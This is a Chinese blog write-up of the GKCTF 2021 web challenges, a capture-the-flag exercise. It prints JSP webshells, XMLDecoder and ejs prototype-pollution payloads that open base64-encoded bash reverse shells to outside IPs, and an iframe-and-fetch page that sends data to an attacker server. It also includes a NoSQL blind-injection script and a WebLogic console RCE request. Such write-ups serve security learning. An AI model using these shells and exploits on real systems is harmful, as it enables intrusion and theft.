GKCTF2021web复现

GKCTF 2021 web复现

easycms

发现后台 /admin.php

提示了弱口令 admin/12345

这题估计就是后台getshell了

在下面这个页面发现了 一个php页面

https://img-blog.csdnimg.cn/5e71f330291a425aa6c2f04956f7d0ac.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

保存的时候发现需要写入文件到 /var/www/html/system/tmp/kfol.txt

那就得再找一个能路径穿越创建这个文件到地方

下图找到文件穿越到地方 写入

https://img-blog.csdnimg.cn/e4a44ed5ce3642af90073f8b40f8a4de.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

再回去模版到地方 发现保存成功 回到首页就能看到flag了

babycat

找到这个 register页面 查看源码发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<script type="text/javascript">
// var obj={};
// obj["username"]='test';
// obj["password"]='test';
// obj["role"]='guest';
function doRegister(obj){
if(obj.username==null || obj.password==null){
alert("用户名或密码不能为空");
}else{
var d = new Object();
d.username=obj.username;
d.password=obj.password;
d.role="guest";

$.ajax({
url:"/register",
type:"post",
contentType: "application/x-www-form-urlencoded; charset=utf-8",
data: "data="+JSON.stringify(d),
dataType: "json",
success:function(data){
alert(data)
}
});
}
}
</script>

根据要求输入json 格式注册账号密码

https://img-blog.csdnimg.cn/34b0d5f28e7c4a21af7ffdf869f568ff.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

然后登录

发现 download有一个任意文件下载 发现有 /readflag 看来事情并没有这么简单😏

发现 ../web.xml 逐一下载里面的 class文件

点击upload发现需要 admin才行

先看看反编译后的 register

https://img-blog.csdnimg.cn/9c74ebebdf3447cd8330df51c5b5a835.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

这里匹配的是data的最后一个 role 这里使用gson 解析 我们可以使用注释的方法绕过这个正则

payload:

data={"username":"11","password":"11","role":"admin"/*"role":"a"*/}

可以看到role 变成admin 了

https://img-blog.csdnimg.cn/0e9ac34ad06844ac8f2c84f9d429b8ca.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

下面这种也可以绕过正则 因为他正则是 ()

下面这个方法也行

可以发现这里的正则是 (.*?) 惰性匹配 所以下面这个payload只会匹配到第一个role JSON中键值一样的数据解析时后面的会覆盖前面的,因此可以构造如下payload

data={"username":"111", "password":"111","role":"test", "role"/**/:"admin"}

利用上传功能 下载?file=../../WEB-INF/classes/com/web/servlet/uploadServlet.class

审计这个文件 com.web.servlet.uploadServlet

1
2
3
4
5
6
7
8
if (checkExt(ext) || checkContent(item.getInputStream())) {
req.setAttribute("error", "upload failed");
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}
String filePath = uploadPath + File.separator + name + ext;
File storeFile = new File(filePath);
item.write(storeFile);
req.setAttribute("error", "upload success!");

我们看到内容检测和扩展名检测完成之后,并没有退出,而是继续保存了文件….,因此我们可以尝试想../../static/下上传一句话

jsp🐎

下面这个直接命令执行 ?pwd=023&i=/readflag

1
2
3
4
5
6
7
8
9
10
11
12
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

蚁剑连 密码 passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}

public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>

其它解法

com.web.dao.baseDao中有使⽤了xmldecoder(这个文件我都没注意到。。。在register那里可以看到)

然后找触发,登录或注册会触发baseDao.getConnection();触发 /db/db.xml

此时我们就有思路了,上传进行目录穿越覆盖db.xml,登录或注册触发xml反序列化漏洞。

这里filename=”../../db/db.xml”

这个xmldecoder是weblogic的老漏洞了,利用方式也是一样的,不过过滤了ProcessBuilder这样原本的payload就失效了

不过在复现weblogic的漏洞时你会发现,有些特殊字符是必须进行unicode编码的,这里base64编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>{echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMTk1LjE0OS41MC83NTc1IDA+JjEn}|{b
ase64,-d}|{bash,-i}</string>
</void>
</array>
<void method="start"/>
</object>
</java>

再次登录触发利用

babycat-revenge

现在黑名单生效了

https://img-blog.csdnimg.cn/21cdf2499bcb45619bf678a5b4a50a39.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

写jsp shell的方法肯定就行不通了

还多过滤了ProcessBuilder 普通的xml也过不去了 提示PrintWriter

这里使用html实体编码绕过 这个ProcessBuilder

先读出绝对路径 才能用 PrintWriter

https://img-blog.csdnimg.cn/db92e439a9134bd1b3be61ff8f3b96c6.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.lang.&#80;rocessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>{echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMTIuMTI0LjM5LjExOC83NTc1IDA+JjEn}|{b
ase64,-d}|{bash,-i}</string>
</void>
</array>
<void method="start"/>
</object>
</java>

PrintWriter 解法

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?> 
<java version="1.8.0_192" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>/usr/local/tomcat/webapps/ROOT/static/shell.jsp</string><void
method="println">
<string>
<![CDATA[<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]>
</string>
</void><void method="close"/>
</object>
</java>

payload 参 https://www.cnblogs.com/TJWater/p/14982594.html

easynode

下载源码 开始审计

主要的waf如下

https://img-blog.csdnimg.cn/9007123c92bb4af38bb93d2146b733e8.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

这里看了大佬的wp 很巧妙的利用数组拼接生成字符串,然后弱类型绕过 waf

这里是利⽤ for 循环逐个提取字符串中的字符,再将该字符丢到⿊名单中逐字对⽐,如果发现黑名单中的危险字符,就将危险字符替换为 *。但如果这里是利用 for 循环遍历数组的话就是逐个对⽐数组中的元素,在这种情况下就可以绕过⿊名单。如下构造 username:

1
var username = ["admin'#","a","a","a","a","a","a","a","a","("]

后面的safeStr还有一个拼接 这里js数组相加的话就会成为一个字符串

https://img-blog.csdnimg.cn/f5f489494ef94db887867640e14a35fd.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

所以payload:

1
username[]=admin'#&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=(&password=123456

这样就拿到了 admin的token了

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjoiX19wcm90b19fIiwiZXhwIjoxNjMyMjE4ODcwLCJpYXQiOjE2MzIyMTcwNzB9.aeqh0p-Yug0GSYvLSuabNi7owuZ3aWWIj02SuOkT_Ss

接下来发现 adminDIV 有一处原型链污染 ejs 模板 RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
app.post("/adminDIV",async(req,res,next) =>{
const token = req.cookies.token

var data = JSON.parse(req.body.data) // POST 方法获取一个 data 并用 json 解析

let result = verifyToken(token); // 首先效验 cookie
if(result !='err'){
username = result;
var sql ='select board from board';
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);
console.log(board);
for(var key in data){ // 13 - 17 行代码是漏洞逻辑
var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;

extend(board,JSON.parse(addDIV));
}
sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
select(sql).then(close()).catch( (err)=>{console.log(err)});
res.json({"msg":'addDiv successful!!!'});
}
else{
res.end('nonono');
}
});

extend 操作的原型链污染,根据 {“${username}”:{“${key}”:”${data[key]}”}} 可知,我们需要注册一个名为 __**proto__** 的用户,然后用 POST 方法发送一个 data

下面开始操作,首先发送以下数据,注册一个名为 proto 的用户,跟进到可以添加管理员的 /addAdmin 路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
app.post("/addAdmin",async (req,res,next) => {
let username = req.body.username;
let password = req.body.password;
const token = req.cookies.token
let result = verifyToken(token);
if (result !='err'){
gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});
var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);
select(sql).then(close()).catch( (err)=>{console.log(err)});
var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);
console.log(sql);
select(sql).then(close()).catch( (err)=>{console.log(err)});
res.end('add admin successful!')
}
else{
res.end('stop!!!');
}
});

可知创建一个管理员需要提供用户名、密码还有一个经得起效验的 token,我们直接用 admin 用户的 token,发送数据:

1
2
3
/addAdmin
POST: username=__proto__&password=123456
COOKIE: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjoiX19wcm90b19fIiwiZXhwIjoxNjMyMjE4ODcwLCJpYXQiOjE2MzIyMTcwNzB9.aeqh0p-Yug0GSYvLSuabNi7owuZ3aWWIj02SuOkT_Ss

可以看到注册成功

注册成功后登陆 __proto__ 用户并得到了 __proto__ 用户的 token:

然后进入 adminDIV发送paylaod

注意:由于这里 POST 方法发送的不是 Json,所以我们要对反弹 Shell 部分的命令进行 base64 编码和 URL 编码的方式避免一些控制字符的干扰。

1
2
3
/adminDIV
POST: data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMTIuMTI0LjM5LjExOC8yMzMzIDA%2BJjEi|base64 -d|bash');var __tmp2"}
COOKIE: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjoiX19wcm90b19fIiwiZXhwIjoxNjI2Nzg3ODM0LCJpYXQiOjE2MjY3ODYwMzR9.RnQjSPEDcze_M5ALqnixMRRm6feI--GMkT_5rbBhvoM

然后访问 /admin 路由模版渲染就反弹shell了

不要随意通过/login登陆,因为会生成新的token,导致漏洞利用失败

checkbot

可以用 POST 方法向机器人发送一个 url,然后机器人会访问这个 url。根据题目描述我们可以知道,需要让这个机器人从本地访问 admin.php,然后将得到的 flag 带出来。

我们直接访问 admin.php 然后查看源码可以发现,在一个 HTML 节点中输出了当前 IP:

https://img-blog.csdnimg.cn/f74bd4e5f0b34f77b47424624cf2ca0a.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

1
<iframe id="iframe1" src="http://127.0.0.1/admin.php"></iframe><script>    function load(){        var iframe = document.getElementById("iframe1").contentWindow.document.getElementById("flag").innerHTML;        console.log(iframe);        fetch('http://112.x.x.x:2333', {method: 'POST', mode: 'no-cors', body: iframe})	}	window.onload = load;</script>

即首先用 iframe 标签加载内容,然后选其中的 flag 元素的值,利用 fetch 带出来

将以上代码写入 index.html 并放在自己的 VPS 上并开启 2333 端口的 nc 监听,然后向 Bot 提交 VPS 的 url。

https://img-blog.csdnimg.cn/49936d5309d749febda29465801e0dde.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

如何没回显的话就重启靶机

hackme

查看源码发现

1
$("#login-button").click(function() {        var formObject = {};        var formArray =$("#login-form").serializeArray();        $.each(formArray,function(i,item){            formObject[item.name] = item.value;        });        console.log(formObject)        $.ajax({            url:"/login.php",            type:"post",            contentType: "application/json; charset=utf-8",            data: JSON.stringify(formObject),            dataType: "json",            success:function(data){                $('#res').text(data.msg);                if (data.msg=='登录成功') {                    window.location='/admin.php'                }            },        });    });

发现 login.php 以json的方式post数据登录 并且提示了 nosql

这里尝试永真式注入

1
{"username":{"$ne":1},"password": {"$ne":1}}

发现过滤了 用unicode编码绕过

https://img-blog.csdnimg.cn/f968641431ad45aeaef6078b1b3a9753.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

这里应该是盲注了

脚本

1
import requestsimport stringpassword = ''url = 'http://node4.buuoj.cn:26293/login.php'while True:    for c in string.printable:        if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:            # When the method is GET            get_payload = '?username=admin&password[$regex]=^%s' % (password + c)            # When the method is POST            post_payload = {                "username": "admin",                "password[$regex]": '^' + password + c            }            # When the method is POST with JSON            json_payload = """{"username":"admin", "password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}}""" % (password + c)            headers = {'Content-Type': 'application/json'}            r = requests.post(url=url, headers=headers, data=json_payload)    # 简单发送 json            #r = requests.post(url=url, data=post_payload)            if '但没完全登录' in r.content.decode():                print("[+] %s" % (password + c))                password += c# 42276606202db06ad1f29ab6b4a1307f

得到密码登录 叫我们读取文件 读取 /flag 提示在内网

https://img-blog.csdnimg.cn/d8a1bc07494349ffbc62e0ba40c9a827.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

读了 phpinfo

发现当前使用了 FPM/FastCGI,用的应该是 Nginx。直接读取 Nginx 配置文件 /usr/local/nginx/conf/nginx.conf,得到如下:

1
string(32) "/usr/local/nginx/conf/nginx.conf"worker_processes  1;events {    worker_connections  1024;}http {    include       mime.types;    default_type  application/octet-stream;    sendfile        on;    #tcp_nopush     on;    #keepalive_timeout  0;    keepalive_timeout  65;    server {        listen       80;        error_page 404 404.php;        root /usr/local/nginx/html;        index index.htm index.html index.php;        location ~ \.php$ {           root           /usr/local/nginx/html;           fastcgi_pass   127.0.0.1:9000;           fastcgi_index  index.php;           fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;           include        fastcgi_params;        }    }resolver 127.0.0.11 valid=0s ipv6=off;resolver_timeout 10s;    # weblogic    server {		listen       80;		server_name  weblogic;		location / {			proxy_set_header Host $host;			set $backend weblogic;			proxy_pass http://$backend:7001;		}	}}

发现内网中确实还有一个应用,在内网 weblogic 主机的 7001 端口上运行着一个 weblogic 服务。下面我们就想办法攻击这个内网的 weblogic。

既然 admin.php 可以读取文件,那么我们猜测应该可能存在一处文件包含,并且目标环境开启了 session.upload_progress.enabled 读到存储路径

https://img-blog.csdnimg.cn/0f540c7a2b2f473c88c791607cd3078b.png

/var/opt/remi/php72/lib/php/sessions/sess_

phpinfo看到了路径

https://img-blog.csdnimg.cn/42c5adb690214b29a2b0537d48319864.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_16,color_FFFFFF,t_70,g_se,x_16

然后条件竞争写shell读文件

给出另外一种payload

1
import socketsSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sSocket.connect(("node4.buuoj.cn", 26293))payload = b'''HEAD / HTTP/1.1\r\nHost: node4.buuoj.cn\r\n\r\nGET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1\r\nHost:weblogic\r\ncmd: /readflag\r\n\r\n'''sSocket.send(payload)sSocket.settimeout(2)response = sSocket.recv(2147483647)while len(response) > 0:    print(response.decode())    try:        response = sSocket.recv(2147483647)    except:        breaksSocket.close()

https://whoamianony.top/2021/06/27/CTF比赛记录/GKCTF X DASCTF应急挑战杯 WEB WriteUP/

https://www.freebuf.com/articles/web/284725.html

http://www.hackdig.com/06/hack-391147.htm

https://cloud.tencent.com/developer/article/1844890

[https://www.lemonprefect.cn/zh-TW/posts/751c0b7.html#hackme](

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~